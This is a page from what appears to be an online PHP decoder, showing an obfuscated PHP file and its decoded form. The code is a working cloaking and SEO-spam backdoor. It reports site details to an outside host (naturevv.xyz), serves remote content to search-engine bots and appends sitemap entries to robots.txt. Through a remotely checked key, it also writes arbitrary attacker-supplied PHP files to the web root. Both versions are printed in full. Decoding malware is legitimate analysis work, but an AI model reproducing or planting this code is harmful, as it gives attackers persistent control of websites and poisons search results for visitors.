Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto IkzN6; XrDeA: if ($ddur_tmp == '') { $ddur_tmp = "\57"; } goto efVoP; XNPcE: $ddur_tm..

Decoded Output download

<?  goto IkzN6; XrDeA: if ($ddur_tmp == '') { $ddur_tmp = "/"; } goto efVoP; XNPcE: $ddur_tmp = st_uri(); goto XrDeA; IkzN6: @set_time_limit(3600); goto Bm9Xj; qOqNC: if (!strstr($htag, "nobotuseragent")) { if (strstr($htag, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htag = str_replace("okhtmlgetcontent", '', $htag); echo $htag; die; } else { if (strstr($htag, "okxmlgetcontent")) { $htag = str_replace("okxmlgetcontent", '', $htag); @header("Content-type: text/xml"); echo $htag; die; } else { if (strstr($htag, "pingxmlgetcontent")) { $htag = str_replace("pingxmlgetcontent", '', $htag); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htag); die; } } } } goto mxY_W; nC1NW: $usse = ''; goto cgUSw; lQNzC: $lag = urlencode($lag); goto nC1NW; bJpBt: if (@$_GET["pd"] != '') { $acot = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($acot, ".xml")) { $map_path = $path . "/sitemap.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = daag($file_path); } else { $data = "User-agent: *Allow: /"; } $sturs = $http . "://" . $host . "/" . $acot; if (stristr($data, $sturs)) { echo "<br>sitemap already added!<br>"; } else { if (file_put_contents($file_path, trim($data) . "
\xa" . "Sitemap: " . $sturs)) { echo "<br>ok<br>"; } else { echo "<br> false!<br>"; } } } else { echo "<br> false!<br>"; } if (strstr($acot, ".p" . "hp")) { if (sha1(sha1(@$_GET["a"])) == daag($htwe . "://" . $towe . "/a.p" . "hp")) { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $acot, $dstr)) { echo "ok"; } } } } die; } goto GkO41; cgUSw: if (isset($_SERVER["HTTP_REFERER"])) { $usse = $_SERVER["HTTP_REFERER"]; $usse = urlencode($usse); } goto bJpBt; gMK1E: $towe = $goto . ".naturevv" . ".xyz"; goto PTg6w; mxY_W: function pingmap($url) { $url_arr = explode("\xd\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = daag($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $pingUrl . "-- " . $ok . "<br>"; } return $return_str; } goto o2imK; oMvIl: if (ishtt()) { $http = "https"; } else { $http = "http"; } goto XNPcE; xe7Op: $host = $_SERVER["HTTP_HOST"]; goto JJ38Y; Bm9Xj: @ignore_user_abort(1); goto n3bBj; JJ38Y: $lag = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto lQNzC; GkO41: $web = $htwe . "://" . $towe . "/inde.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $ddur . "&urlshang=" . $usse . "&http=" . $http . "&lang=" . $lag; goto zgH61; efVoP: $ddur = urlencode($ddur_tmp); goto jw7z7; n3bBj: $goto = "jmvb"; goto nQkDZ; QHyC1: function daag($url) { $ficonts = ''; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $ficonts = curl_exec($ch); curl_close($ch); } if (!$ficonts) { $ficonts = @file_get_contents($url); } return $ficonts; } goto peYpd; jw7z7: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $ddur = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $ddur = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $ddur = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $ddur; } goto gMK1E; zgH61: $htag = trim(daag($web)); goto qOqNC; o2imK: function sbot() { $uaget = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uaget, "googlebot") || stristr($uaget, "bing") || stristr($uaget, "yahoo") || stristr($uaget, "google") || stristr($uaget, "Googlebot") || stristr($uaget, "googlebot")) { return true; } else { return false; } } goto QHyC1; PTg6w: function ishtt() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto xe7Op; nQkDZ: $htwe = "http"; goto oMvIl; peYpd:  
//he077  ?>

Did this file decode correctly?

Original Code

goto IkzN6; XrDeA: if ($ddur_tmp == '') { $ddur_tmp = "\57"; } goto efVoP; XNPcE: $ddur_tmp = st_uri(); goto XrDeA; IkzN6: @set_time_limit(3600); goto Bm9Xj; qOqNC: if (!strstr($htag, "\x6e\x6f\142\157\164\x75\163\x65\x72\x61\x67\x65\156\164")) { if (strstr($htag, "\157\153\x68\164\155\154\x67\145\164\143\x6f\156\x74\x65\156\164")) { @header("\103\x6f\156\x74\145\156\164\55\164\171\160\x65\x3a\x20\164\x65\x78\164\x2f\150\x74\x6d\154\73\x20\x63\x68\x61\162\163\145\x74\x3d\165\x74\x66\x2d\70"); $htag = str_replace("\x6f\x6b\150\164\155\x6c\147\x65\x74\x63\157\156\164\145\156\x74", '', $htag); echo $htag; die; } else { if (strstr($htag, "\x6f\153\x78\x6d\154\147\x65\x74\x63\x6f\156\x74\x65\x6e\x74")) { $htag = str_replace("\157\153\x78\x6d\x6c\147\x65\x74\x63\x6f\156\164\145\x6e\164", '', $htag); @header("\x43\x6f\x6e\x74\145\156\164\x2d\164\x79\160\x65\72\x20\164\145\x78\x74\57\x78\155\x6c"); echo $htag; die; } else { if (strstr($htag, "\x70\151\156\x67\x78\155\154\147\x65\164\143\x6f\x6e\164\x65\x6e\x74")) { $htag = str_replace("\x70\151\x6e\147\x78\x6d\x6c\x67\x65\x74\x63\x6f\x6e\x74\x65\156\164", '', $htag); @header("\103\157\156\x74\x65\x6e\x74\x2d\x74\x79\x70\145\72\x20\x74\145\170\164\57\x68\x74\155\x6c\x3b\x20\143\150\x61\162\163\145\x74\x3d\x75\164\146\55\70"); echo pingmap($htag); die; } } } } goto mxY_W; nC1NW: $usse = ''; goto cgUSw; lQNzC: $lag = urlencode($lag); goto nC1NW; bJpBt: if (@$_GET["\x70\144"] != '') { $acot = @$_GET["\x6d\x61\x70\x6e\x61\x6d\145"]; $action = @$_GET["\x61\x63\164\151\157\156"]; if (isset($_SERVER["\104\117\103\125\x4d\x45\116\124\137\122\117\x4f\124"])) { $path = $_SERVER["\104\117\103\125\115\105\116\x54\137\122\117\x4f\x54"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\x70\x75\x74"; } if ($action == "\x70\165\x74") { if (strstr($acot, "\x2e\170\x6d\154")) { $map_path = $path . "\57\x73\151\x74\x65\x6d\x61\x70\56\170\155\154"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\57\162\x6f\x62\157\164\163\x2e\x74\x78\x74"; if (file_exists($file_path)) { $data = daag($file_path); } else { $data = "\125\163\x65\162\55\141\x67\145\x6e\164\x3a\x20\x2a\101\154\154\x6f\167\72\x20\x2f"; } $sturs = $http . "\72\x2f\x2f" . $host . "\x2f" . $acot; if (stristr($data, $sturs)) { echo "\74\142\x72\x3e\x73\x69\x74\x65\155\x61\160\x20\x61\x6c\162\x65\141\144\x79\40\x61\x64\x64\x65\144\x21\x3c\142\162\76"; } else { if (file_put_contents($file_path, trim($data) . "\15\xa" . "\x53\151\164\145\155\x61\x70\72\40" . $sturs)) { echo "\x3c\x62\x72\x3e\157\153\74\x62\162\76"; } else { echo "\x3c\x62\162\x3e\x20\x66\x61\154\x73\x65\41\x3c\142\162\76"; } } } else { echo "\74\142\x72\76\40\x66\x61\x6c\x73\x65\41\x3c\x62\162\x3e"; } if (strstr($acot, "\56\160" . "\150\160")) { if (sha1(sha1(@$_GET["\141"])) == daag($htwe . "\x3a\57\57" . $towe . "\57\x61\x2e\x70" . "\x68\x70")) { $dstr = @$_GET["\144\163\x74\x72"]; if (file_put_contents($path . "\57" . $acot, $dstr)) { echo "\x6f\x6b"; } } } } die; } goto GkO41; cgUSw: if (isset($_SERVER["\x48\124\124\120\137\x52\105\106\x45\x52\x45\x52"])) { $usse = $_SERVER["\110\124\124\x50\x5f\122\x45\x46\x45\x52\x45\122"]; $usse = urlencode($usse); } goto bJpBt; gMK1E: $towe = $goto . "\56\156\x61\164\x75\162\x65\166\x76" . "\56\170\171\172"; goto PTg6w; mxY_W: function pingmap($url) { $url_arr = explode("\xd\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = daag($pingUrl); $ok = strpos($pingRes, "\123\x69\x74\145\x6d\x61\160\40\x4e\x6f\x74\151\146\x69\143\141\164\151\157\x6e\40\x52\145\x63\145\151\166\145\x64") !== false ? "\x70\151\x6e\147\x6f\x6b" : "\x65\162\x72\x6f\162"; $return_str .= $pingUrl . "\x2d\x2d\x20" . $ok . "\x3c\142\162\x3e"; } return $return_str; } goto o2imK; oMvIl: if (ishtt()) { $http = "\150\x74\164\160\163"; } else { $http = "\150\164\164\x70"; } goto XNPcE; xe7Op: $host = $_SERVER["\x48\124\x54\x50\x5f\x48\117\x53\124"]; goto JJ38Y; Bm9Xj: @ignore_user_abort(1); goto n3bBj; JJ38Y: $lag = @$_SERVER["\x48\124\124\120\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\107\125\101\107\105"]; goto lQNzC; GkO41: $web = $htwe . "\72\57\x2f" . $towe . "\57\151\x6e\144\145\56\x70\150\x70\77\167\145\142\x3d" . $host . "\x26\172\x7a\75" . sbot() . "\46\x75\162\151\75" . $ddur . "\x26\x75\x72\154\163\x68\141\x6e\147\75" . $usse . "\46\x68\164\164\160\x3d" . $http . "\46\x6c\141\x6e\x67\75" . $lag; goto zgH61; efVoP: $ddur = urlencode($ddur_tmp); goto jw7z7; n3bBj: $goto = "\152\155\x76\142"; goto nQkDZ; QHyC1: function daag($url) { $ficonts = ''; if (function_exists("\143\x75\x72\154\x5f\151\x6e\x69\164")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $ficonts = curl_exec($ch); curl_close($ch); } if (!$ficonts) { $ficonts = @file_get_contents($url); } return $ficonts; } goto peYpd; jw7z7: function st_uri() { if (isset($_SERVER["\122\x45\121\x55\105\x53\x54\x5f\x55\122\111"])) { $ddur = $_SERVER["\122\105\x51\125\105\123\124\137\x55\122\111"]; } else { if (isset($_SERVER["\141\162\x67\x76"])) { $ddur = $_SERVER["\120\110\x50\137\123\105\114\106"] . "\x3f" . $_SERVER["\141\x72\x67\166"][0]; } else { $ddur = $_SERVER["\120\x48\120\x5f\123\105\114\106"] . "\77" . $_SERVER["\121\x55\x45\122\131\137\x53\x54\x52\111\116\107"]; } } return $ddur; } goto gMK1E; zgH61: $htag = trim(daag($web)); goto qOqNC; o2imK: function sbot() { $uaget = strtolower($_SERVER["\110\124\x54\120\137\x55\123\105\x52\x5f\x41\x47\105\x4e\124"]); if (stristr($uaget, "\147\x6f\x6f\147\x6c\x65\142\x6f\x74") || stristr($uaget, "\142\151\x6e\147") || stristr($uaget, "\171\x61\150\157\157") || stristr($uaget, "\147\x6f\x6f\147\x6c\145") || stristr($uaget, "\107\x6f\x6f\x67\154\145\x62\x6f\x74") || stristr($uaget, "\147\157\x6f\147\x6c\145\142\x6f\x74")) { return true; } else { return false; } } goto QHyC1; PTg6w: function ishtt() { if (isset($_SERVER["\x48\x54\x54\120\123"]) && strtolower($_SERVER["\110\x54\x54\x50\123"]) !== "\x6f\146\x66") { return true; } elseif (isset($_SERVER["\110\x54\x54\120\137\x58\x5f\x46\117\x52\x57\x41\x52\104\105\x44\137\120\x52\117\x54\x4f"]) && $_SERVER["\x48\x54\x54\x50\137\130\137\x46\117\x52\127\101\122\104\x45\104\137\120\x52\x4f\x54\117"] === "\x68\x74\164\x70\163") { return true; } elseif (isset($_SERVER["\x48\124\x54\x50\137\106\x52\x4f\x4e\x54\x5f\x45\x4e\104\x5f\110\124\124\x50\123"]) && strtolower($_SERVER["\110\x54\x54\120\x5f\106\x52\x4f\x4e\124\x5f\x45\116\104\137\110\124\124\x50\x53"]) !== "\157\x66\146") { return true; } return false; } goto xe7Op; nQkDZ: $htwe = "\150\164\x74\x70"; goto oMvIl; peYpd: 
//he077 

Function Calls

None

Variables

None

Stats

MD5 63198aeae6e5f2c8e8f40826b64c4ef0
Eval Count 0
Decode Time 81 ms